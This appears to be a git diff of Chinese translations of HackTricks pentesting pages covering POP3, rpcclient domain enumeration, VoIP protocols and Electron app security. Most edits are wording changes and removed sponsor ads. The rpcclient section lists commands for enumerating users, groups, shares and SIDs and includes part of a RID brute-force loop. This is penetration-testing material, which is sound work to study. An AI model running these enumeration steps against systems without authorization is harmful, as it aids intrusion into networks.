**邮局协议 (POP)** 被描述为计算机网络和互联网领域的一种协议,用于从远程邮件服务器提取和**检索电子邮件**,使其在本地设备上可访问。该协议位于OSI模型的应用层,使用户能够获取和接收电子邮件。**POP客户端**的操作通常涉及与邮件服务器建立连接,下载所有消息,将这些消息存储在客户端系统上,然后从服务器中删除它们。尽管该协议有三个版本,但**POP3** 是最常用的版本。
|
||||
**邮局协议 (POP)** 被描述为计算机网络和互联网领域的一种协议,用于从远程邮件服务器中提取和**检索电子邮件**,使其在本地设备上可访问。该协议位于OSI模型的应用层,使用户能够获取和接收电子邮件。**POP客户端**的操作通常涉及与邮件服务器建立连接,下载所有消息,将这些消息存储在客户端系统上,然后从服务器中删除它们。尽管该协议有三个版本,但**POP3** 是最常用的版本。
|
||||
|
||||
**默认端口:** 110, 995(ssl)
|
||||
```
|
||||
|
@ -104,11 +97,6 @@ password: PA$$W0RD!Z
|
|||
| `auth_verbose_passwords` | 用于身份验证的密码会被记录,并且也可能被截断。 |
|
||||
| `auth_anonymous_username` | 指定在使用 ANONYMOUS SASL 机制登录时使用的用户名。 |
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
## HackTricks 自动命令
|
||||
```
|
||||
|
|
|
@ -1,41 +1,32 @@
|
|||
# rpcclient enumeration
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
### 相关标识符 (RID) 和安全标识符 (SID) 概述
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
**相对标识符 (RID)** 和 **安全标识符 (SID)** 是 Windows 操作系统中用于唯一标识和管理网络域内对象(如用户和组)的关键组件。
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### 相对标识符 (RID) 和安全标识符 (SID) 概述
|
||||
|
||||
**相对标识符 (RID)** 和 **安全标识符 (SID)** 是 Windows 操作系统中用于唯一标识和管理对象(如用户和组)在网络域内的关键组件。
|
||||
|
||||
- **SIDs** 作为域的唯一标识符,确保每个域都是可区分的。
|
||||
- **RIDs** 附加到 SIDs 上,以创建这些域内对象的唯一标识符。这种组合允许精确跟踪和管理对象权限和访问控制。
|
||||
|
||||
例如,一个名为 `pepe` 的用户可能有一个唯一标识符,将域的 SID 与他的特定 RID 结合在一起,以十六进制 (`0x457`) 和十进制 (`1111`) 格式表示。这导致 pepe 在域内的完整唯一标识符为:`S-1-5-21-1074507654-1937615267-42093643874-1111`。
|
||||
- **SID** 作为域的唯一标识符,确保每个域都是可区分的。
|
||||
- **RID** 附加到 SID 上,以创建该域内对象的唯一标识符。这种组合允许精确跟踪和管理对象权限和访问控制。
|
||||
|
||||
例如,一个名为 `pepe` 的用户可能有一个唯一标识符,该标识符结合了域的 SID 和他的特定 RID,以十六进制 (`0x457`) 和十进制 (`1111`) 格式表示。这导致在域内为 pepe 生成一个完整且唯一的标识符,如:`S-1-5-21-1074507654-1937615267-42093643874-1111`。
|
||||
|
||||
### **使用 rpcclient 进行枚举**
|
||||
|
||||
来自 Samba 的 **`rpcclient`** 工具用于通过命名管道与 **RPC 端点** 进行交互。以下命令可以在建立 **SMB 会话** 后发出,通常需要凭据。
|
||||
Samba 的 **`rpcclient`** 工具用于通过命名管道与 **RPC 端点** 进行交互。以下命令可以在建立 **SMB 会话** 后发出,通常需要凭据。
|
||||
|
||||
#### 服务器信息
|
||||
|
||||
|
@ -46,8 +37,8 @@
|
|||
* **可以列出用户**:使用 `querydispinfo` 和 `enumdomusers`。
|
||||
* **获取用户详细信息**:使用 `queryuser <0xrid>`。
|
||||
* **获取用户的组**:使用 `queryusergroups <0xrid>`。
|
||||
* **通过** `lookupnames <username>` **检索用户的 SID**。
|
||||
* **通过** `queryuseraliases [builtin|domain] <sid>` **获取用户的别名**。
|
||||
* **通过以下方式检索用户的 SID**:使用 `lookupnames <username>`。
|
||||
* **用户的别名**:使用 `queryuseraliases [builtin|domain] <sid>`。
|
||||
```bash
|
||||
# Users' RIDs-forced
|
||||
for i in $(seq 500 1100); do
|
||||
|
@ -58,7 +49,7 @@ done
|
|||
```
|
||||
#### 组的枚举
|
||||
|
||||
* **通过**: `enumdomgroups` **获取** **组**。
|
||||
* **通过**: `enumdomgroups` **获取组**。
|
||||
* **使用**: `querygroup <0xrid>` **获取组的详细信息**。
|
||||
* **通过**: `querygroupmem <0xrid>` **获取组的成员**。
|
||||
|
||||
|
@ -78,9 +69,9 @@ done
|
|||
* **通过**: `netshareenumall` **获取所有可用的共享**。
|
||||
* **使用**: `netsharegetinfo <share>` **获取特定共享的信息**。
|
||||
|
||||
#### 与SID的附加操作
|
||||
#### 使用SID的附加操作
|
||||
|
||||
* **通过名称获取**: `lookupnames <username>` **的SID**。
|
||||
* **通过名称获取SID**: `lookupnames <username>`。
|
||||
* **通过**: `lsaenumsid` **获取更多SID**。
|
||||
* **通过**: `lookupsids <sid>` **进行RID循环以检查更多SID**。
|
||||
|
||||
|
@ -97,30 +88,24 @@ done
|
|||
| deletedomuser | 删除域用户 | |
|
||||
| lookupnames | LSARPC | 查找用户名到SID[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn8)值 |
|
||||
| lookupsids | 查找SID到用户名(RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9)循环) | |
|
||||
| lsaaddacctrights | 向用户帐户添加权限 | |
|
||||
| lsaremoveacctrights | 从用户帐户中删除权限 | |
|
||||
| lsaaddacctrights | 向用户账户添加权限 | |
|
||||
| lsaremoveacctrights | 从用户账户移除权限 | |
|
||||
| dsroledominfo | LSARPC-DS | 获取主要域信息 |
|
||||
| dsenumdomtrusts | 枚举AD森林中的受信域 | |
|
||||
|
||||
要**更好地理解**工具 _**samrdump**_ **和** _**rpcdump**_ 的工作原理,您应该阅读 [**Pentesting MSRPC**](../135-pentesting-msrpc.md)。
|
||||
|
||||
**努力安全小组**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客攻击:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客攻击: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们**。
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -16,20 +16,6 @@
|
|||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由 **暗网** 驱动的搜索引擎,提供 **免费** 功能以检查公司或其客户是否被 **窃取恶意软件** **入侵**。
|
||||
|
||||
WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户接管和勒索软件攻击。
|
||||
|
||||
您可以访问他们的网站并免费尝试他们的引擎:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## 信令协议
|
||||
|
||||
### SIP (会话发起协议)
|
||||
|
@ -42,36 +28,36 @@ WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户
|
|||
|
||||
### MGCP (媒体网关控制协议)
|
||||
|
||||
MGCP (媒体网关控制协议) 是一种 **信令** 和 **呼叫** **控制协议**,在 RFC 3435 中进行了概述。它在集中式架构中运行,主要由三个组件组成:
|
||||
MGCP (媒体网关控制协议) 是一个 **信令** 和 **呼叫** **控制协议**,在 RFC 3435 中进行了概述。它在集中式架构中运行,主要由三个组件组成:
|
||||
|
||||
1. **呼叫代理或媒体网关控制器 (MGC)**:MGCP 架构中的主网关,负责 **管理和控制媒体网关**。它处理呼叫设置、修改和终止过程。MGC 使用 MGCP 协议与媒体网关进行通信。
|
||||
1. **呼叫代理或媒体网关控制器 (MGC)**:MGCP 架构中的主网关,负责 **管理和控制媒体网关**。它处理呼叫的建立、修改和终止过程。MGC 使用 MGCP 协议与媒体网关进行通信。
|
||||
2. **媒体网关 (MGs) 或从属网关**:这些设备 **在不同网络之间转换数字媒体流**,例如传统的电路交换电话和分组交换 IP 网络。它们由 MGC 管理,并执行从 MGC 接收到的命令。媒体网关可能包括转码、分组和回声消除等功能。
|
||||
3. **信令网关 (SGs)**:这些网关负责 **在不同网络之间转换信令消息**,使传统电话系统(例如 SS7)与基于 IP 的网络(例如 SIP 或 H.323)之间实现无缝通信。信令网关对于互操作性至关重要,确保呼叫控制信息在不同网络之间正确传达。
|
||||
3. **信令网关 (SGs)**:这些网关负责 **在不同网络之间转换信令消息**,使传统电话系统(例如 SS7)与基于 IP 的网络(例如 SIP 或 H.323)之间能够无缝通信。信令网关对于互操作性至关重要,确保呼叫控制信息在不同网络之间正确传达。
|
||||
|
||||
总之,MGCP 将呼叫控制逻辑集中在呼叫代理中,从而简化了媒体和信令网关的管理,提高了电信网络的可扩展性、可靠性和效率。
|
||||
总之,MGCP 将呼叫控制逻辑集中在呼叫代理中,简化了媒体和信令网关的管理,提高了电信网络的可扩展性、可靠性和效率。
|
||||
|
||||
### SCCP (瘦客户端控制协议)
|
||||
|
||||
瘦客户端控制协议 (SCCP) 是由思科系统公司拥有的 **专有信令和呼叫控制协议**。它主要 **用于** 在 **思科统一通信管理器**(前称 CallManager)与思科 IP 电话或其他思科语音和视频终端之间的通信。
|
||||
瘦客户端控制协议 (SCCP) 是一个 **专有的信令和呼叫控制协议**,由思科系统公司拥有。它主要 **用于** 在 **思科统一通信管理器**(前称 CallManager)与思科 IP 电话或其他思科语音和视频终端之间的通信。
|
||||
|
||||
SCCP 是一种轻量级协议,简化了呼叫控制服务器与终端设备之间的通信。由于其简约的设计和相较于其他 VoIP 协议(如 H.323 或 SIP)减少的带宽需求,因此被称为“瘦”。
|
||||
SCCP 是一个轻量级协议,简化了呼叫控制服务器与终端设备之间的通信。由于其简约的设计和相较于其他 VoIP 协议(如 H.323 或 SIP)减少的带宽需求,因此被称为“瘦”。
|
||||
|
||||
基于 SCCP 的系统的主要组件包括:
|
||||
|
||||
1. **呼叫控制服务器**:该服务器通常是思科统一通信管理器,管理呼叫设置、修改和终止过程,以及其他电话功能,如呼叫转移、呼叫转接和呼叫保持。
|
||||
1. **呼叫控制服务器**:该服务器通常是思科统一通信管理器,管理呼叫的建立、修改和终止过程,以及其他电话功能,如呼叫转移、呼叫转接和呼叫保持。
|
||||
2. **SCCP 终端**:这些设备如 IP 电话、视频会议单元或其他思科语音和视频终端,使用 SCCP 与呼叫控制服务器进行通信。它们向服务器注册,发送和接收信令消息,并遵循呼叫控制服务器提供的呼叫处理指令。
|
||||
3. **网关**:这些设备,如语音网关或媒体网关,负责在不同网络之间转换媒体流,例如传统的电路交换电话和分组交换 IP 网络。它们还可能包括额外的功能,如转码或回声消除。
|
||||
|
||||
SCCP 提供了一种简单高效的通信方法,连接思科呼叫控制服务器和终端设备。然而,值得注意的是 **SCCP 是一种专有协议**,这可能限制与非思科系统的互操作性。在这种情况下,其他标准 VoIP 协议如 SIP 可能更为合适。
|
||||
SCCP 提供了一种简单高效的通信方法,连接思科呼叫控制服务器和终端设备。然而,值得注意的是 **SCCP 是一个专有协议**,这可能限制与非思科系统的互操作性。在这种情况下,其他标准 VoIP 协议如 SIP 可能更为合适。
|
||||
|
||||
### H.323
|
||||
|
||||
H.323 是一套用于多媒体通信的 **协议**,包括语音、视频和数据会议,通过分组交换网络(如基于 IP 的网络)进行。它由 **国际电信联盟**(ITU-T)开发,提供了管理多媒体通信会话的全面框架。
|
||||
H.323 是一套用于多媒体通信的 **协议**,包括语音、视频和数据会议,适用于分组交换网络,如基于 IP 的网络。它由 **国际电信联盟**(ITU-T)开发,提供了管理多媒体通信会话的全面框架。
|
||||
|
||||
H.323 套件的一些关键组件包括:
|
||||
|
||||
1. **终端**:这些是支持 H.323 的端点设备,如 IP 电话、视频会议系统或软件应用程序,可以参与多媒体通信会话。
|
||||
2. **网关**:这些设备在不同网络之间转换媒体流,如传统的电路交换电话和分组交换 IP 网络,实现 H.323 与其他通信系统之间的互操作性。它们还可能包括额外的功能,如转码或回声消除。
|
||||
2. **网关**:这些设备在不同网络之间转换媒体流,如传统的电路交换电话和分组交换 IP 网络,使 H.323 与其他通信系统之间能够互操作。它们还可能包括额外的功能,如转码或回声消除。
|
||||
3. **网关控制器**:这些是可选组件,在 H.323 网络中提供呼叫控制和管理服务。它们执行地址转换、带宽管理和接入控制等功能,帮助管理和优化网络资源。
|
||||
4. **多点控制单元 (MCUs)**:这些设备通过管理和混合来自多个端点的媒体流来促进多点会议。MCUs 使得视频布局控制、语音激活切换和持续存在等功能成为可能,从而能够举办大规模的多方会议。
|
||||
|
||||
|
@ -79,7 +65,7 @@ H.323 支持多种音频和视频编解码器,以及其他补充服务,如
|
|||
|
||||
### IAX (Inter Asterisk eXchange)
|
||||
|
||||
IAX (Inter-Asterisk eXchange) 是一种 **信令和呼叫控制协议**,主要用于 Asterisk PBX(私人分支交换机)服务器与其他 VoIP 设备之间的通信。它由 Asterisk 开源 PBX 软件的创建者 Mark Spencer 开发,作为其他 VoIP 协议(如 SIP 和 H.323)的替代方案。
|
||||
IAX (Inter-Asterisk eXchange) 是一个 **信令和呼叫控制协议**,主要用于 Asterisk PBX(私人分支交换机)服务器与其他 VoIP 设备之间的通信。它由 Asterisk 开源 PBX 软件的创建者 Mark Spencer 开发,作为其他 VoIP 协议(如 SIP 和 H.323)的替代方案。
|
||||
|
||||
IAX 以其 **简单、高效和易于实现** 而闻名。IAX 的一些关键特性包括:
|
||||
|
||||
|
@ -89,50 +75,39 @@ IAX 以其 **简单、高效和易于实现** 而闻名。IAX 的一些关键特
|
|||
4. **原生加密**:IAX 内置对加密的支持,使用 RSA 进行密钥交换,使用 AES 进行媒体加密,提供端点之间的安全通信。
|
||||
5. **点对点通信**:IAX 可用于端点之间的直接通信,无需中央服务器,从而实现更简单和更高效的呼叫路由。
|
||||
|
||||
尽管 IAX 有其优点,但也存在一些局限性,例如其主要集中在 Asterisk 生态系统上,与更成熟的协议(如 SIP)相比,采用程度较低。因此,IAX 可能不是与非 Asterisk 系统或设备互操作的最佳选择。然而,对于在 Asterisk 环境中工作的人来说,IAX 提供了一种强大而高效的 VoIP 通信解决方案。
|
||||
尽管 IAX 有其优点,但也存在一些局限性,例如其主要集中在 Asterisk 生态系统上,与更成熟的协议(如 SIP)相比,采用程度较低。因此,IAX 可能不是与非 Asterisk 系统或设备互操作的最佳选择。然而,对于在 Asterisk 环境中工作的人来说,IAX 提供了一个强大而高效的 VoIP 通信解决方案。
|
||||
|
||||
## 传输与传输协议
|
||||
|
||||
### SDP (会话描述协议)
|
||||
|
||||
SDP (会话描述协议) 是一种 **基于文本的格式**,用于描述多媒体会话的特征,如语音、视频或数据会议,通过 IP 网络进行。它由 **互联网工程任务组 (IETF)** 开发,并在 **RFC 4566** 中定义。SDP 不处理实际的媒体传输或会话建立,而是与其他信令协议(如 **SIP (会话发起协议)**)结合使用,以协商和交换有关媒体流及其属性的信息。
|
||||
SDP (会话描述协议) 是一种 **基于文本的格式**,用于描述多媒体会话的特征,如语音、视频或数据会议,适用于 IP 网络。它由 **互联网工程任务组 (IETF)** 开发,并在 **RFC 4566** 中定义。SDP 不处理实际的媒体传输或会话建立,而是与其他信令协议(如 **SIP (会话发起协议)**)结合使用,以协商和交换有关媒体流及其属性的信息。
|
||||
|
||||
SDP 的一些关键元素包括:
|
||||
|
||||
1. **会话信息**:SDP 描述多媒体会话的详细信息,包括会话名称、会话描述、开始时间和结束时间。
|
||||
2. **媒体流**:SDP 定义媒体流的特征,如媒体类型(音频、视频或文本)、传输协议(例如 RTP 或 SRTP)和媒体格式(例如编解码器信息)。
|
||||
3. **连接信息**:SDP 提供有关网络地址(IP 地址)和媒体应发送或接收的端口号的信息。
|
||||
4. **属性**:SDP 支持使用属性提供有关会话或媒体流的附加可选信息。属性可用于指定各种功能,如加密密钥、带宽要求或媒体控制机制。
|
||||
4. **属性**:SDP 支持使用属性提供有关会话或媒体流的附加可选信息。属性可用于指定各种特性,如加密密钥、带宽要求或媒体控制机制。
|
||||
|
||||
SDP 通常在以下过程中使用:
|
||||
|
||||
1. 发起方创建提议的多媒体会话的 SDP 描述,包括媒体流及其属性的详细信息。
|
||||
2. SDP 描述被发送给接收方,通常嵌入在信令协议消息(如 SIP 或 RTSP)中。
|
||||
2. SDP 描述被发送给接收方,通常嵌入在信令协议消息中,如 SIP 或 RTSP。
|
||||
3. 接收方处理 SDP 描述,并根据其能力,可能接受、拒绝或修改提议的会话。
|
||||
4. 最终的 SDP 描述作为信令协议消息的一部分发送回发起方,完成协商过程。
|
||||
|
||||
SDP 的简单性和灵活性使其成为各种通信系统中描述多媒体会话的广泛采用标准,在通过 IP 网络建立和管理实时多媒体会话中发挥着关键作用。
|
||||
SDP 的简单性和灵活性使其成为各种通信系统中描述多媒体会话的广泛采用标准,在建立和管理实时多媒体会话方面发挥着关键作用。
|
||||
|
||||
### RTP / RTCP / SRTP / ZRTP
|
||||
|
||||
1. **RTP (实时传输协议)**:RTP 是一种网络协议,旨在通过 IP 网络传输音频和视频数据或其他实时媒体。由 **IETF** 开发,并在 **RFC 3550** 中定义,RTP 通常与信令协议(如 SIP 和 H.323)一起使用,以实现多媒体通信。RTP 提供 **同步**、**排序** 和 **时间戳** 媒体流的机制,帮助确保媒体播放的流畅和及时。
|
||||
2. **RTCP (实时传输控制协议)**:RTCP 是 RTP 的伴随协议,用于监控服务质量 (QoS) 并提供有关媒体流传输的反馈。在与 RTP 相同的 **RFC 3550** 中定义,RTCP **定期在 RTP 会话的参与者之间交换控制数据包**。它共享诸如丢包、抖动和往返时间等信息,有助于诊断和适应网络条件,提高整体媒体质量。
|
||||
3. **SRTP (安全实时传输协议)**:SRTP 是 RTP 的扩展,提供 **加密**、**消息认证** 和 **重放保护**,确保敏感音频和视频数据的安全传输。在 **RFC 3711** 中定义,SRTP 使用 AES 等加密算法进行加密,使用 HMAC-SHA1 进行消息认证。SRTP 通常与安全信令协议(如通过 TLS 的 SIP)结合使用,以提供多媒体通信的端到端安全性。
|
||||
4. **ZRTP (Zimmermann 实时传输协议)**:ZRTP 是一种加密密钥协商协议,为 RTP 媒体流提供 **端到端加密**。由 PGP 的创建者 Phil Zimmermann 开发,ZRTP 在 **RFC 6189** 中进行了描述。与依赖信令协议进行密钥交换的 SRTP 不同,ZRTP 旨在独立于信令协议工作。它使用 **Diffie-Hellman 密钥交换** 在通信方之间建立共享秘密,而无需事先信任或公共密钥基础设施 (PKI)。ZRTP 还包括 **短认证字符串 (SAS)** 等功能,以防止中间人攻击。
|
||||
4. **ZRTP (Zimmermann 实时传输协议)**:ZRTP 是一种加密密钥协商协议,为 RTP 媒体流提供 **端到端加密**。由 PGP 的创建者 Phil Zimmermann 开发,ZRTP 在 **RFC 6189** 中进行了描述。与依赖信令协议进行密钥交换的 SRTP 不同,ZRTP 旨在独立于信令协议工作。它使用 **Diffie-Hellman 密钥交换** 在通信方之间建立共享密钥,而无需事先信任或公共密钥基础设施 (PKI)。ZRTP 还包括 **短认证字符串 (SAS)** 等功能,以防止中间人攻击。
|
||||
|
||||
这些协议在 **通过 IP 网络传递和保护实时多媒体通信** 中发挥着重要作用。虽然 RTP 和 RTCP 处理实际的媒体传输和质量监控,但 SRTP 和 ZRTP 确保传输的媒体免受窃听、篡改和重放攻击的保护。
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由 **暗网** 驱动的搜索引擎,提供 **免费** 功能以检查公司或其客户是否被 **窃取恶意软件** **入侵**。
|
||||
|
||||
WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户接管和勒索软件攻击。
|
||||
|
||||
您可以访问他们的网站并免费尝试他们的引擎:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# Electron Desktop Apps
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -15,25 +15,12 @@
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由 **暗网** 驱动的搜索引擎,提供 **免费** 功能以检查公司或其客户是否被 **窃取恶意软件** **入侵**。
|
||||
|
||||
WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户接管和勒索软件攻击。
|
||||
|
||||
您可以访问他们的网站并免费尝试他们的引擎:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## 介绍
|
||||
|
||||
Electron 结合了本地后端(使用 **NodeJS**)和前端(**Chromium**),尽管它缺乏现代浏览器的一些安全机制。
|
||||
|
||||
通常,您可能会在 `.asar` 应用程序中找到 Electron 应用代码,提取代码需要您进行解压:
|
||||
通常你可能会在 `.asar` 应用程序中找到 Electron 应用代码,获取代码需要提取它:
|
||||
```bash
|
||||
npx asar extract app.asar destfolder #Extract everything
|
||||
npx asar extract-file app.asar main.js #Extract just a file
|
||||
|
@ -47,7 +34,7 @@ npx asar extract-file app.asar main.js #Extract just a file
|
|||
Electron 有 2 种进程类型:
|
||||
|
||||
* 主进程(完全访问 NodeJS)
|
||||
* 渲染进程(出于安全原因,NodeJS 访问应受到限制)
|
||||
* 渲染进程(出于安全原因,NodeJS 应该受到限制访问)
|
||||
|
||||
![](<../../../.gitbook/assets/image (182).png>)
|
||||
|
||||
|
@ -59,18 +46,18 @@ let win = new BrowserWindow();
|
|||
//Open Renderer Process
|
||||
win.loadURL(`file://path/to/index.html`);
|
||||
```
|
||||
设置 **renderer process** 可以在 **main process** 中的 main.js 文件中 **配置**。一些配置将 **防止 Electron 应用程序获得 RCE** 或其他漏洞,如果 **设置正确配置**。
|
||||
设置**渲染进程**可以在**主进程**中的main.js文件中**配置**。一些配置将**防止Electron应用程序获得RCE**或其他漏洞,如果**设置正确配置**。
|
||||
|
||||
Electron 应用程序 **可以通过 Node API 访问设备**,尽管可以配置以防止它:
|
||||
Electron应用程序**可以通过Node API访问设备**,尽管可以配置以防止它:
|
||||
|
||||
* **`nodeIntegration`** - 默认情况下为 `off`。如果开启,允许从 renderer process 访问 Node 特性。
|
||||
* **`contextIsolation`** - 默认情况下为 `on`。如果关闭,主进程和渲染进程不会隔离。
|
||||
* **`nodeIntegration`** - 默认情况下为`off`。如果开启,允许从渲染进程访问Node功能。
|
||||
* **`contextIsolation`** - 默认情况下为`on`。如果关闭,主进程和渲染进程不被隔离。
|
||||
* **`preload`** - 默认情况下为空。
|
||||
* [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - 默认情况下为 off。它将限制 NodeJS 可以执行的操作。
|
||||
* 工作线程中的 Node 集成
|
||||
* **`nodeIntegrationInSubframes`** - 默认情况下为 `off`。
|
||||
* 如果 **`nodeIntegration`** 被 **启用**,这将允许在 Electron 应用程序中 **加载在 iframe 中的网页** 使用 **Node.js API**。
|
||||
* 如果 **`nodeIntegration`** 被 **禁用**,则预加载将在 iframe 中加载。
|
||||
* [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - 默认情况下为off。它将限制NodeJS可以执行的操作。
|
||||
* 工作线程中的Node集成
|
||||
* **`nodeIntegrationInSubframes`** - 默认情况下为`off`。
|
||||
